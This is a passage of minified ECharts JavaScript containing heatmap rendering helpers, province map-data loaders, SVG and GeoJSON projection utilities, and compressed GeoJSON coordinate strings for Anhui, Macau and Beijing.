h.putImageData(y,0,0),l},_getBrush:function(){if(!this._brushCanvas){this._brushCanvas=document.createElement("canvas");var e=i+this.option.blurSize,t=2*e;this._brushCanvas.width=t,this._brushCanvas.height=t;var n=this._brushCanvas.getContext("2d");n.shadowOffsetX=t,n.shadowBlur=this.option.blurSize,n.shadowColor="black",n.beginPath(),n.arc(-e,e,i,0,2*Math.PI,!0),n.closePath(),n.fill()}return this._brushCanvas},_getGradient:function(){if(!this._gradientPixels){var e=n,t=document.createElement("canvas");t.width=1,t.height=e;for(var i=t.getContext("2d"),a=i.createLinearGradient(0,0,0,e),o=this.option.gradientColors.length,r=0;o>r;++r)"string"==typeof this.option.gradientColors[r]?a.addColorStop((r+1)/o,this.option.gradientColors[r]):a.addColorStop(this.option.gradientColors[r].offset,this.option.gradientColors[r].color);i.fillStyle=a,i.fillRect(0,0,1,e),this._gradientPixels=i.getImageData(0,0,1,e).data}return this._gradientPixels}},e}),i("echarts/util/mapData/params",["require"],function(e){function t(e){if(!e.UTF8Encoding)return e;for(var t=e.features,n=0;n>1^-(1&r),s=s>>1^-(1&s),r+=n,s+=a,n=r,a=s,i.push([r/1024,s/1024])}return i}var n={none:{getGeoJson:function(e){e({type:"FeatureCollection",features:[{type:"Feature",geometry:{coordinates:[],encodeOffsets:[],type:"Polygon"},properties:{}}]})}},world:{getGeoJson:function(i){e(["./geoJson/world_geo"],function(e){i(t(e))})}},china:{getGeoJson:function(i){e(["./geoJson/china_geo"],function(e){i(t(e))})}},"南海诸岛":{textCoord:[126,25],getPath:function(e,t){for(var i=[[[0,3.5],[7,11.2],[15,11.9],[30,7],[42,.7],[52,.7],[56,7.7],[59,.7],[64,.7],[64,0],[5,0],[0,3.5]],[[13,16.1],[19,14.7],[16,21.7],[11,23.1],[13,16.1]],[[12,32.2],[14,38.5],[15,38.5],[13,32.2],[12,32.2]],[[16,47.6],[12,53.2],[13,53.2],[18,47.6],[16,47.6]],[[6,64.4],[8,70],[9,70],[8,64.4],[6,64.4]],[[23,82.6],[29,79.8],[30,79.8],[25,82.6],[23,82.6]],[[37,70.7],[43,62.3],[44,62.3],[39,70.7],[37,70.7]],[[48,51.1],[51,45.5],[53,45.5],[50,51.1],[48,51.1]],[[51,35],[51,28.7],[53,28.7],[53,35],[51,35]],[[52,22.4],[55,17.5],[56,17.5],[53,22.4],[52,22.4]],[[58,12.6],[62,7],[63,7],[60,12.6],[58,12.6]],[[0,3.5],[0,93.1],[64,93.1],[64,0],[63,0],[63,92.4],[1,92.4],[1,3.5],[0,3.5]]],n="",a=e[0],o=e[1],r=0,s=i.length;s>r;r++){n+="M "+((i[r][0][0]*t+a).toFixed(2)-0)+" "+((i[r][0][1]*t+o).toFixed(2)-0)+" ";for(var l=1,h=i[r].length;h>l;l++)n+="L "+((i[r][l][0]*t+a).toFixed(2)-0)+" "+((i[r][l][1]*t+o).toFixed(2)-0)+" "}return n+" Z"}},"新疆":{getGeoJson:function(i){e(["./geoJson/xin_jiang_geo"],function(e){i(t(e))})}},"西藏":{getGeoJson:function(i){e(["./geoJson/xi_zang_geo"],function(e){i(t(e))})}},"内蒙古":{getGeoJson:function(i){e(["./geoJson/nei_meng_gu_geo"],function(e){i(t(e))})}},"青海":{getGeoJson:function(i){e(["./geoJson/qing_hai_geo"],function(e){i(t(e))})}},"四川":{getGeoJson:function(i){e(["./geoJson/si_chuan_geo"],function(e){i(t(e))})}},"黑龙江":{getGeoJson:function(i){e(["./geoJson/hei_long_jiang_geo"],function(e){i(t(e))})}},"甘肃":{getGeoJson:function(i){e(["./geoJson/gan_su_geo"],function(e){i(t(e))})}},"云南":{getGeoJson:function(i){e(["./geoJson/yun_nan_geo"],function(e){i(t(e))})}},"广西":{getGeoJson:function(i){e(["./geoJson/guang_xi_geo"],function(e){i(t(e))})}},"湖南":{getGeoJson:function(i){e(["./geoJson/hu_nan_geo"],function(e){i(t(e))})}},"陕西":{getGeoJson:function(i){e(["./geoJson/shan_xi_1_geo"],function(e){i(t(e))})}},"广东":{getGeoJson:function(i){e(["./geoJson/guang_dong_geo"],function(e){i(t(e))})}},"吉林":{getGeoJson:function(i){e(["./geoJson/ji_lin_geo"],function(e){i(t(e))})}},"河北":{getGeoJson:function(i){e(["./geoJson/he_bei_geo"],function(e){i(t(e))})}},"湖北":{getGeoJson:function(i){e(["./geoJson/hu_bei_geo"],function(e){i(t(e))})}},"贵州":{getGeoJson:function(i){e(["./geoJson/gui_zhou_geo"],function(e){i(t(e))})}},"山东":{getGeoJson:function(i){e(["./geoJson/shan_dong_geo"],function(e){i(t(e))})}},"江西":{getGeoJson:function(i){e(["./geoJson/jiang_xi_geo"],function(e){i(t(e))})}},"河南":{getGeoJson:function(i){e(["./geoJson/he_nan_geo"],function(e){i(t(e))})}},"辽宁":{getGeoJson:function(i){e(["./geoJson/liao_ning_geo"],function(e){i(t(e))})}},"山西":{getGeoJson:function(i){e(["./geoJson/shan_xi_2_geo"],function(e){i(t(e))})}},"安徽":{getGeoJson:function(i){e(["./geoJson/an_hui_geo"],function(e){i(t(e))})}},"福建":{getGeoJson:function(i){e(["./geoJson/fu_jian_geo"],function(e){i(t(e))})}},"浙江":{getGeoJson:function(i){e(["./geoJson/zhe_jiang_geo"],function(e){i(t(e))})}},"江苏":{getGeoJson:function(i){e(["./geoJson/jiang_su_geo"],function(e){i(t(e))})}},"重庆":{getGeoJson:function(i){e(["./geoJson/chong_qing_geo"],function(e){i(t(e))})}},"宁夏":{getGeoJson:function(i){e(["./geoJson/ning_xia_geo"],function(e){i(t(e))})}},"海南":{getGeoJson:function(i){e(["./geoJson/hai_nan_geo"],function(e){i(t(e))})}},"台湾":{getGeoJson:function(i){e(["./geoJson/tai_wan_geo"],function(e){i(t(e))})}},"北京":{getGeoJson:function(i){e(["./geoJson/bei_jing_geo"],function(e){i(t(e))})}},"天津":{getGeoJson:function(i){e(["./geoJson/tian_jin_geo"],function(e){i(t(e))})}},"上海":{getGeoJson:function(i){e(["./geoJson/shang_hai_geo"],function(e){i(t(e))})}},"香港":{getGeoJson:function(i){e(["./geoJson/xiang_gang_geo"],function(e){i(t(e))})}},"澳门":{getGeoJson:function(i){e(["./geoJson/ao_men_geo"],function(e){i(t(e))})}}};return{decode:t,params:n}}),i("echarts/util/mapData/textFixed",[],function(){return{"广东":[0,-10],"香港":[10,10],"澳门":[-10,18],"黑龙江":[0,20],"天津":[5,5],"深圳市":[-35,0],"红河哈尼族彝族自治州":[0,20],"楚雄彝族自治州":[-5,15],"石河子市":[-5,5],"五家渠市":[0,-10],"昌吉回族自治州":[10,10],"昌江黎族自治县":[0,20],"陵水黎族自治县":[0,20],"东方市":[0,20],"渭南市":[0,20]}}),i("echarts/util/mapData/geoCoord",[],function(){return{Russia:[100,60],"United States of America":[-99,38]}}),i("echarts/util/projection/svg",["require","zrender/shape/Path"],function(e){function t(e){return parseFloat(e||0)}function i(e){for(var i=e.firstChild;"svg"!=i.nodeName.toLowerCase()||1!=i.nodeType;)i=i.nextSibling;var n=t(i.getAttribute("x")),a=t(i.getAttribute("y")),o=t(i.getAttribute("width")),r=t(i.getAttribute("height"));return{left:n,top:a,width:o,height:r}}function n(e,t){function i(e){var t=e.tagName;if(m[t]){var o=m[t](e,n);o&&(o.scale=n,o.properties={name:e.getAttribute("name")||""},o.id=e.id,s(o,e),a.push(o))}for(var r=e.childNodes,l=0,h=r.length;h>l;l++)i(r[l])}var n=[t.scale.x,t.scale.y],a=[];return i(e),a}function a(e,t){var i=t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y];return[i[0]/e.scale.x,i[1]/e.scale.y]}function o(e,t){var i=t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y];return[i[0]*e.scale.x,i[1]*e.scale.y]}function r(e){return e.replace(/^\s\s*/,"").replace(/\s\s*$/,"")}function s(e,t){var i=t.getAttribute("fill"),n=t.getAttribute("stroke"),a=t.getAttribute("stroke-width"),o=t.getAttribute("opacity");i&&"none"!=i?(e.color=i,n?(e.brushType="both",e.strokeColor=n):e.brushType="fill"):n&&"none"!=n&&(e.strokeColor=n,e.brushType="stroke"),a&&"none"!=a&&(e.lineWidth=parseFloat(a)),o&&"none"!=o&&(e.opacity=parseFloat(o))}function l(e){for(var t=r(e).replace(/,/g," ").split(/\s+/),i=[],n=0;no;o++)if(n=a[o],!n.properties.name||!t[n.properties.name])switch(n.type){case"Feature":r[n.geometry.type](n.geometry.coordinates);break;case"GeometryCollection":i=n.geometries;for(var l=0,h=i.length;h>l;l++)r[i[l].type](i[l].coordinates)}return e.srcSize={left:1*r.xmin.toFixed(4),top:1*r.ymin.toFixed(4),width:1*(r.xmax-r.xmin).toFixed(4),height:1*(r.ymax-r.ymin).toFixed(4)},e}function i(e,i,n){function a(e,t){c=e.type,u=e.coordinates,o._bbox={xmin:360,xmax:-360,ymin:180,ymax:-180},y=o[c](u),m.push({path:y,cp:o.makePoint(t.properties.cp?t.properties.cp:[(o._bbox.xmin+o._bbox.xmax)/2,(o._bbox.ymin+o._bbox.ymax)/2]),properties:t.properties,id:t.id})}n=n||{},o.scale=null,o.offset=null,e.srcSize||t(e,n),i.offset={x:e.srcSize.left,y:e.srcSize.top,left:i.OffsetLeft||0,top:i.OffsetTop||0},o.scale=i.scale,o.offset=i.offset;for(var r,s,l,h=e.features,m=[],V=0,U=h.length;U>V;V++)if(l=h[V],!l.properties.name||!n[l.properties.name])if("Feature"==l.type)a(l.geometry,l);else if("GeometryCollection"==l.type){r=l.geometries;for(var d=0,p=r.length;p>d;d++)s=r[d],a(s,s)}var c,u,y;return m}function n(e,t){var i,n;return t instanceof Array?(i=1*t[0],n=1*t[1]):(i=1*t.x,n=1*t.y),i=i/e.scale.x+e.offset.x-168.5,i=i>180?i-360:i,n=90-(n/e.scale.y+e.offset.y),[i,n]}function a(e,t){return o.offset=e.offset,o.scale=e.scale,o.makePoint(t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y])}var o={formatPoint:function(e){return[(e[0]<-168.5&&e[1]>63.8?e[0]+360:e[0])+168.5,90-e[1]]},makePoint:function(e){var t=this,i=t.formatPoint(e);t._bbox.xmin>e[0]&&(t._bbox.xmin=e[0]),t._bbox.xmaxe[1]&&(t._bbox.ymin=e[1]),t._bbox.ymaxn;n++)t=o.makePoint(e[n]),i=0===n?"M"+t.join(","):i+"L"+t.join(",");return i},Polygon:function(e){for(var t="",i=0,n=e.length;n>i;i++)t=t+o.LineString(e[i])+"z";return t},MultiPoint:function(e){for(var t=[],i=0,n=e.length;n>i;i++)t.push(o.Point(e[i]));return t},MultiLineString:function(e){for(var t="",i=0,n=e.length;n>i;i++)t+=o.LineString(e[i]);return t},MultiPolygon:function(e){for(var t="",i=0,n=e.length;n>i;i++)t+=o.Polygon(e[i]);return t}},r={formatPoint:o.formatPoint,makePoint:function(e){var t=this,i=t.formatPoint(e),n=i[0],a=i[1];t.xmin>n&&(t.xmin=n),t.xmaxa&&(t.ymin=a),t.ymaxt;t++)this.makePoint(e[t])},Polygon:function(e){for(var t=0,i=e.length;i>t;t++)this.LineString(e[t])},MultiPoint:function(e){for(var t=0,i=e.length;i>t;t++)this.Point(e[t])},MultiLineString:function(e){for(var t=0,i=e.length;i>t;t++)this.LineString(e[t])},MultiPolygon:function(e){for(var t=0,i=e.length;i>t;t++)this.Polygon(e[t])}};return{getBbox:e,geoJson2Path:i,pos2geo:n,geo2pos:a}}),i("echarts/util/mapData/geoJson/an_hui_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3415",properties:{name:"六安市",cp:[116.3123,31.8329],childNum:6},geometry:{type:"Polygon",coordinates:["@@„„nJ‚UXUVƒ°U„ÑnU@mlLVaVln@@bn@VU@xlb@lšLnKlšƒVI„JšUVxnI@lVL@b„ްVX@˜b„x„nVVUnVVnU‚›@kX@VwV@„al¥UUnUWa@ƒ@wĸU„LU¥lKUa@aUI@alLVaUƒ¯anƒWkUKm@XV@VaXlW@aU_UWVUƒI¯@ma¯W¯™™I@UU@WWU@U@@UU@VkV@@WUUm@UaU@„lK@IUK„L@KWmXUWaXI@ƒ@a@a@U@U@KV¥lw„k°b²JVIVKlV@UX„la„Ul`œUVLVVVUšJ„U@Lnm@_VK@KUIW@™J@Xk@WW@U—ƒmm™XmWk@kK@aUUƒVmmkUwUmWL™@WmU@™UJmUULkKWakLWVkIƒlƒwULƒW@X°lUJ@°ULƒWV—wmJ@bmb¯Vkm@@WkWm¯wƒL@lkXƒWmXym¯UImJUbkV™@Vn¯„@V@lUbƒ@mk@maUxmlUbULWn@J—LmKUkWKkwUKƒbm„X„WxkVUKmLkVV@JUUWL@xkJUUƒV@X@VVlUbVX@xk¤šx‚¼œxWxn„‚nn@Þ¼„JVb°aVn„@šmlnXU„JlbVlkz@‚lUŽlXJmxVxXnWxXÈWlUŽ@šUxU@VX@xUL@šUÆmLnV@lWXk@@JlbXblnlJ"],encodeOffsets:[[118710,33351]]}},{type:"Feature",id:"3408",properties:{name:"安庆市",cp:[116.7517,30.5255],childNum:9},geometry:{type:"Polygon",coordinates:["@@n°‚znW„XlW@k„K°xXn‚l@Xn@l‚°Una@anI˜xXU„ŽVK@¯VIkW¯X@‚„VK„x„klJXUlKXblLVKnVVIšŽV@Xn‚@šŽXKVnVxlŽnn„UlmV@²óUkV™lW„b„lƒšƒn@VVVIn@lw@WVIXblV„@Èx‚aUaVIVVnKVLšK„ƒln@b²K@»U£ƒÑķƒġÝÅb™K™a@Im@ۍ„@kWÓkkmKÅnóJƒUÅ£›W@w„ĕ@wĉţ¯¯ƒUkK±l¯Uƒ¥UÑkÝUķ»Ý¥¯™JƒIUŽVbUl¯ÈV¼VJU¼Vb@bkLUl@„VJ@bUXǚ@lkVmXmKkLVxš‚Ž„VƒL@VkVVVlzW˜kbmLUUUbVbUV™šlÒnJlUnLllUL@bU„Vx„l‚LXVƦÈVU¦WJ"],encodeOffsets:[[118834,31759]]}},{type:"Feature",id:"3411",properties:{name:"滁州市",cp:[118.1909,32.536],childNum:7},geometry:{type:"Polygon",coordinates:["@@š„@`nnl@„xšK@X°KXV˜IXVlbXVWnX‚lL@šÈ»‚LVan@VJ„êVVn@‚X@laÞbVaƒyn@„_‚xnWVXnWl@VnUVkI@l‚nXKVLVV@V@kW@LlVô„@J@bVnnKnkVa@»lç@ƒnwšKma™UUUVњ@n™mWXalI@alVn@VwUaVU„@„nlaôJnU„VVXlJšaXXVK@UšV@VWx@nXVWšXVšUlLUbV‚ULVVnUVbUbVbš@@a„KÆnnKVK@U@UU@@a„@Vƒ°¯ÈJVIlķ@aa˜UaVKU_@mkxUI@aƒUlyU@@™wkKWmUbUnUVWbkJW_J@bƒn@Vm@@KULk@V@@bVbÅm@LW@UVVbkK@UkKWL@VULUKWIUJUbkK@_WVXU›Jka@XƒVa@kšy@aVIUUW@@m„UlLœKWÑUKVan@UkVmmIXKƒaVaUwVU@UmykU¯@±UUL@WUIVUU@KkIWaƒaU@kUUaǃUó»mKƒk¯@y@kWK@bkI¯`mn™l¯XWlkVUzUJlbUbVJl@nnm„@VULV`XnWƗbmUUn™JmUknƒJ¯km@ƒyk@kU›xL@VUbmnn¤lX@`™z@JmaULUVl@Xn@xllkXWa—aW@UVmUbƒ@mVXšWxXbWbUŽƒÒnVVnVVUL"],encodeOffsets:[[120004,33520]]}},{type:"Feature",id:"3418",properties:{name:"宣城市",cp:[118.8062,30.6244],childNum:7},geometry:{type:"Polygon",coordinates:["@@Vb@„XL˜JXxlIXxlVlV@I²¤šnlUnVšU@VULWVUJ@Lnb@lV@UnV@@VVVlLnbnJ‚UVkUUVWn@@anUVnVJVIV‚@@nUJVbUb‚„@VUbVK@bn@VbnIlxkllXVlXKWUXUlL°¤UVVb@bš„UlkXW‚ƒxXz@‚„Ila„UlƒnUlJVInVÆJ„U„LVUnV„K°@VnlVnxV@XLlK@wVL@KnUlJXU˜bnKVLX„lUw@VWlLXKm@@a„@VLnmlIVVnKn@škVašVlwk@@a@k@ƒVIUa™@maUa@wna@kmWƒ™UUmVUIVǗ@aƒKm™aƒ™kU™J@InmUUaVa„k‚lX@Vk@m@VU@wnK@alKVUkUkKƒbmUkmƒ@U£WVk@@UÝbbƒaÇx@b@WVUa¯ƒ@wVwUUV@VwnK@KWaŁ@KšIUyUI@WmXó™UbWaKm™@km@IUyƒIUaWKƒx@zUKUL@llVUnkLVVkJWX@VUKUVƒIkVWakb@VWb@n@JkXUlmL@xkL@`VxšLUÈUJ@Vm@@bmIUlUL@VUVVbknm@mKUw™KVÈ@J@LV±kkJUIƒl"],encodeOffsets:[[120803,31247]]}},{type:"Feature",id:"3412",properties:{name:"阜阳市",cp:[115.7629,32.9919],childNum:6},geometry:{type:"Polygon",coordinates:["@@V™nƒš@ša„k°aš±@‚¥@UUI@aUmlwUUx›b@¥XU@mmI@a@Kn@@_W@@W„I@mšUVVXUl@XaV@‚K@I@a„LX@aVI°K@KVL„UUw‚yXkšK@kšKÆbXnlK@k@a„JlU@w@U@»@aXKWƒn_‚JXkVKnƒ@°LlKXƒW@¯Uƒ@aUK@kmJUw™VƒIUJ™„kŽmL™K@kka@wUVm@@am@UkUbkK@nmVƒÒ¯VU„WVVmIƒƒULk@ƒƒma@kkKƒƒ@nUbUamU™`UUVUkKVkkƒW@@bkmƒnƒmUXVKXVƒL@VƒbU„m‚™bVXJ@nmKÅI@KWKUXVJUL@VUKUX@KUKWL@LUJmaXXm@kVVV@L@VUL@VlK@L@V@LUK@VUb@UUU@°@nVxU`‚Lkn@`@XVJ@X™Vm„k@UKmV¯LVVn±Wm@Ub@JlLUl„@VLk„@lmVVn@bnV@V°IV™šaVJXI°K°V@XXVlVVU„nšKVlUš„bWXnV@bV`U„„@@m@@‚ƒ@nxmn@bXVlL@¤nb„Ul¦šVVUnJVU„Vl@@bÞL"],encodeOffsets:[[118418,34392]]}},{type:"Feature",id:"3413",properties:{name:"宿州市",cp:[117.5208,33.6841],childNum:5},geometry:{type:"Polygon",coordinates:["@@@UWU@bkW@aWU@aUIkWV™lLXb„lVIUVV@‚mn@V_n@VaUK@I‚@UašanJVU„@lV„UVnnKVVlaUa„I@wnK‚Lnll@nVlk@wVKXkl@@b„bUJ@V‚U@U„UUyVk@aVUXwlWXX‚WU¹@aU™@WUI@mlUšn„J@Il@šaXbV@VKl@XxVL@W„IšJlb„@„al@„IUUm@@aVK@¥¯—@mUķ¯bWƒk£Vm@akm@VaÅ@UVWaƒ@UJWkƒJ—UƒbWbU@UlƒXk@ƒamV@K¯nk@ƒlU@Uxmz@bU`ÇbUbÅVm£U@Ww™x@akLUK@UlakwUJWVkLmaUal@n_ƒmVUnKVUUmÅXWa™@kJmx@XUJ@bVLXxl@VVUVV„UbkLWbU@@lUVV„VVX„›K@XkJ@nU@@bV@VxUVlb„U@xXLWŽn@UxVbVĊ„V@b@XV`mnkJ@kUKmbƒaU@VbnbÆx@XU@@`k@@bl„™@@bkL@WƒakXWaU@Vmkx@XWW@@wUUUbƒJ™U¯V™@¯ÞU@WxXŽlL@bkb@ŽlVlnb™JW@kkU@mbkaWJ—IVlmz¯`UnU@mb™@@„ƒ`@bkVlœnV@b@šV@„aVxn@Vx‚KXnl@nbVK„bVK@a„_V@Vƒ„w@W„LlwnK@UmIU@VWš@šUÈ@lKnal„wš@@V°@šaUmlUUw@„ƒV@@UXK"],encodeOffsets:[[119836,35061]]}},{type:"Feature",id:"3410",properties:{name:"黄山市",cp:[118.0481,29.9542],childNum:5},geometry:{type:"Polygon",coordinates:["@@lXnlWX@VUJVnUJVzXJVx„kVJlI²l‚U@K@IUǚLVxnLn@lmUaVU@UVKVknJ@an@@UVIVǙKUw@_lK@wnKVklW@I@mXa@UlaXblU„JVUVL@UXWlIUUlKVmkU@kVKVL@y„wXLVb„JVz@Jlnš@nŽ‚LXbVaôšnW@la@UVWUa@@a@mk@WIk@VwUa¯¥m@UUVK@ImK@aX£ƒkK›ÅV™a™™ƒ_@±ƒakXWW—LƒƒƒnU@@a@¯mK@L™JUWwUV™VmbXX@lWLn`mzUJUb™Lƒ„k@makVWmkX™ambkKknƒaƒ@ƒaƒb@‚U@Unm@—ƒWVƒ@VbUbUJWIk@@lmL@°UVUVm„nš™@@kmWkb@xƒ_m@@aU@b@JlŽUz™lWxXn„@‚b²@l`„IVl„UlL@VšK„nVbUl@VlIn@@b„bVWUk‚@@bX@Valb@bnb°Vn@„xVKlbVnV@V‚x„L@ln@UXVV‚L˜"],encodeOffsets:[[120747,31095]]}},{type:"Feature",id:"3414",properties:{name:"巢湖市",cp:[117.7734,31.4978],childNum:5},geometry:{type:"Polygon",coordinates:["@@VV@blL@ŽXlWnnšnŽ˜„@VXXl@@WšIX@VJ@LšxŎxlnšŽ@bXJVblX@VVbUVn@VbUVlb@LnJVbVLV‚XLšÒVL„ÒšV„bVIVylUXk°Wšknm°_lJ@aXL@l‚z°@„lnLô¼V‚È„VUUaVKU@WW@@UUa@knmVLlaV@„a@kšak±@UmwkKmk™lj™ÝUUkL@mlIVmnÝWkkUÝ@KƑĉ™a@»ƒmma@mX™¤¯Uƒw@ƒ@UU@bU±±L@akmƒ„™LUKmLUUUJVbbÇwƒ@kUWaUJ@Xkxm@UJUUm@™„k„ƒ‚ƒakXUšVl±ôU@kn"],encodeOffsets:[[119847,32007]]}},{type:"Feature",id:"3416",properties:{name:"亳州市",cp:[116.1914,33.4698],childNum:4},geometry:{type:"Polygon",coordinates:["@@lU@Un@@anUlw@KVmUwlaX_lKna@KU@@kWKUU@ankW™XK˜@@V²VVIÈU@al@VaÈamK@wU™@klaUƒV@XƒVUU»WUUbkmUkVmk@aÈw@mWU@VkIkVWKUÑķXȭºU¯lƒ@kkLWmÅa™L@l™LWlzVxƒVUK@L¯LUJ@bWƒK@b@JLU@Wbk@WVUU™V@nƒJ@XX@@`m@@L@bnJ@nWV@¦œa‚wVVkxVn@bVJ@V¦@Ž™²¯bƒl™b™@m„UšUŽƒŽ@¼ƒ¦Xb‚UV`@nnxUxWLkUkVWKkV@XV@@VVL@VX„@lVV@L@blL@`šL@xXKVL‚@„VnUš@lwnU@ml@XnV@@UVW°LnalƒUI@aUK@a‚a@U„kXW@I@mWL@UXK@UVW@U‚@@k„Wn‚@@V„@XblaVxšL@bVKXb„IlJ"],encodeOffsets:[[119183,34594]]}},{type:"Feature",id:"3417",properties:{name:"池州市",cp:[117.3889,30.2014],childNum:4},geometry:{type:"Polygon",coordinates:["@@„V°°ĊŤ@xƒĖ@xœXƤ„VôIÆmnLllXÔ@lƒÜŽn@@JšbšLÆaĢÞĸ„°VVUUKVanK@UV@VL„VVn„ln@‚xnklxXamk@WV@Xa˜@naVk„Klk™@mkUWwkJWw—IWK@ƒUaUwWIUyVIUmVI@UXWmkkW‚—KUUVWm@@kƒKw@U‚UUmkaULƒwm@¯Uma@akaUbW@@a@VlUXƒa@am@kJ@UVkUaƒm™L@UkKƒVUkƒJk_±@aƒ@WmXwÇkkaVaUa±ƒœwV@VkƒwnyUaW@UU¯amLk@m™@kmmU™™¯K@L@lUX¯ƒWlkXƒŽVb„bƒVUL@J@LVKnlJXnlb@`nXlalV@bnL@Vnb˜¼@lXbWlkL™K@zUJmIUxUVUVmX","@@llUL@VlxšL@a@UƒwXa¯@"],encodeOffsets:[[119543,30781],[120061,31152]]}},{type:"Feature",id:"3401",properties:{name:"合肥市",cp:[117.29,32.0581],childNum:4},geometry:{type:"Polygon",coordinates:["@@„L„xV‚ĊLÞkšVlVVXaWaXwW™nU„@‚anVVUX@˜bXblWkk@wWmk@VUVKnb@Išy@_kWm£nmVa@U‚KœwlVl@„zn@°l„IlmnVšIVmnV˜aXÅWmU_VK@Unƒmmk@UIVakaƒa™UƒÑUK™ÑWKUUKUamI@KkaVUUam@VUUa@UkWUaWI@a™kmōw™wUL@`mn@KƒV™IUVUUUK›Vk_ƒVkbWƒ@VkUULUJ±I¯aƒlkxU¦@L@V@V@b@b@„WJXbWVXn@LƒKVL@JkLƒŽV@Vbn@VV@XU@UlV@@VV@V@XXV@@VšJ°š°Xnb°@„JUVVXV`@bkXWŽUbU@WŽn@VLXlm„°bV„UbkK@bVJ@bVbkLV¦ƒKķV@x@„XbmVVVk¦"],encodeOffsets:[[119678,33323]]}},{type:"Feature",id:"3403",properties:{name:"蚌埠市",cp:[117.4109,33.1073],childNum:4},geometry:{type:"Polygon",coordinates:["@@VÒXLlUlJ@UXV@nÇx@bnlUVllnVaXVV¼UVW„U@V„²wVV@Vl@„VnwlIš@XbÆWVnUVmLUV„nm`k@VbnblKXUVIlxkb@VVLlK@bšwXxV@n¤ÆUVaÈaV_@anyVwV@„kl@°m@LnU„bl@„WVkV@Xa„a˜V„IXl‚IV‚„@XbVUÆ@XKWwUkmW@_UmnIlJXkWKXmV@‚w@_XV@Kl@kU@KlX@@UUUUKWLm@klJVUUmk@mXUWmXwƒ`m@„zUbÝakbW@m@UUƒéUIm@UbKǼ@™kKWXmWUkaWU—JWU¯L@W™Lƒwk@mm@_™ƒÅl™UVkmWUnV@VWLUb™bƑĬ¯l"],encodeOffsets:[[119543,33722]]}},{type:"Feature",id:"3402",properties:{name:"芜湖市",cp:[118.3557,31.0858],childNum:4},geometry:{type:"Polygon",coordinates:["@@„bVaV@XllLXU°ŽlL@V@VUnVl¯Ikš›VUVU@@b@lUXUWmb„n@¼šbƒĊ‚LÞ@lVXlmÞUnkJ@nlKVVšÞXklWVaVI@aUKn»lL@Kn@‚XXwlm@mn°@„V@Wy„wXlWVk™ƒ@aUaVU¯£kKWVXVWLUkkWlkkwmJUam@@aULVa@UƒVaUaVI@m‚@UUJUIUmmV@bm@UXVVUlVmImakKUU@UU@VmU@@kma@KVIXUVK@U™VmUkV™m±£@JkU@nlšk‚ƒLUlmb—@WbU@@XnlWb"],encodeOffsets:[[120814,31585]]}},{type:"Feature",id:"3406",properties:{name:"淮北市",cp:[116.6968,33.6896],childNum:3},geometry:{type:"MultiPolygon",coordinates:[["@@lnnK@¦n@@V‚V„@@VV@nIV„V@VW²a@b@bVnUVVV@V™z@lš@°UšV„IVaVV@x@ŽXX@WlwUnV@XblW„b@XlK@aš@kƒ@al@@_V@@WÅwmaUaV@„bnaVL@llInmU_@W@aƒUUĉUaVwm@XWK@wƒVkaVUUwU@@aV@@mlI@WœLWƒUUUƒVU@kV@XalKVaUƒVUUUk@WwUK@aVI@WƒUk@@UUU±xkb@lVš@xnLÇbUbk@@bÇVUJ±U@U—@WLXšml@bVVXL@lV@@LmbkLW`kbVxUn@LkxmV@bm@@VkV"],["@@VVVkV@¥@UV@U@VUUJƒkWakKUšlXVJ@bXV@blX@aXV@V"]],encodeOffsets:[[[119183,34594]],[[119836,35061]]]}},{type:"Feature",id:"3404",properties:{name:"淮南市",cp:[116.7847,32.7722],childNum:2},geometry:{type:"Polygon",coordinates:["@@°kƒīšaVaXK@U‚UVmnXUlšVÆkVKUUUmmU„ÑkU™UÝlĉKUƒwƒKƒbU@UxW@@lœmVUUVmUUƒmƒw—aW„kL¯K@Žm„ULWlIm`X„WL@b@¼@V@xkVƒI@b@l@lk„V°Ȯ¹ĸW"],encodeOffsets:[[119543,33722]]}},{type:"Feature",id:"3405",properties:{name:"马鞍山市",cp:[118.6304,31.5363],childNum:2},geometry:{type:"Polygon",coordinates:["@@šNJnllLnxV@laXLVKma„aXbVI„bVKVVVIVyn@n_ƒƒW@@ƒ„UnJlUVVXlLnaUWlV@VV„IXW@_W@XK@K@UVUUwVamÑXmmwƒw™KUnUK™çU@ƒJƒU¯@mŽ@nknWxWm@@LkKm¼VL@bUJUbkXWl"],encodeOffsets:[[121219,32288]]}},{type:"Feature",id:"3407",properties:{name:"铜陵市",cp:[117.9382,30.9375],childNum:3},geometry:{type:"MultiPolygon",coordinates:[["@@„ÒV¤@¼V²@aVV@Ž@„„x°Vš£nW‚@nbnaVXVW@k@aV@VUœUl™°JUkVm@U@UkK¯WVkKWkU@Ubƒakwmlwm@ƒkUmƒUUKU@@VmLUbVLUV¯U"],["@@LllUL@VlxšL@a@UƒwXamK"]],encodeOffsets:[[[120522,31529]],[[120094,31146]]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ao_men_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"8200",properties:{name:"澳门",cp:[113.5715,22.1583],childNum:1},geometry:{type:"Polygon",coordinates:["@@HQFMDIDGBI@E@EEKEGCEIGGEKEMGSEU@CBEDAJAP@F@LBT@JCHMPOdADCFADAB@LFLDFFP@DAB@@AF@D@B@@FBD@FADHBBHAD@FAJ@JEDCJI`gFIJW"],encodeOffsets:[[116325,22699]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/bei_jing_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"110228",properties:{name:"密云县",cp:[117.0923,40.5121],childNum:1},geometry:{type:"Polygon",coordinates:["@@vIHZDZQtDLNMXIbHRCXXITbJ@H`LGPRDDJNCLHTOCWFGvGBUJMKGFO^IHWXITQCI’Y^AXGfRˆDXF`DJOLB~G\\DZIHHpErUVMhHb]\\M†BVF@FTP`@zTbD\\@~M\\K`H^EVODWICAakAQXoIcCOCIgGYNWFWNGGKKGaJEGMEIKYJUT_J_Go@_SyQaSFMEGTcYOQLIIi@EKAUPCV[EEXQCW|aMUMAaYCYNIDGGACIMGGSKDQGaF_C[GaB@GOIiOKAYL“mI@CN]F[SWWAcKKI@HMUimEKbeYQYISNUOcBKPIFBNgvDPGZYFSf]CMSIWGEUFgDIQ[MeDMJS@RR@LphFPCHaBAJKF@J]IBJO@HlO@@RKAMPJHCNDJTHFP@ZGNANBRFH@J_fM^ONJNF\\VTDJHDON@XRND\\XRCPVETCLBVKDFJINHRGPRV@\\C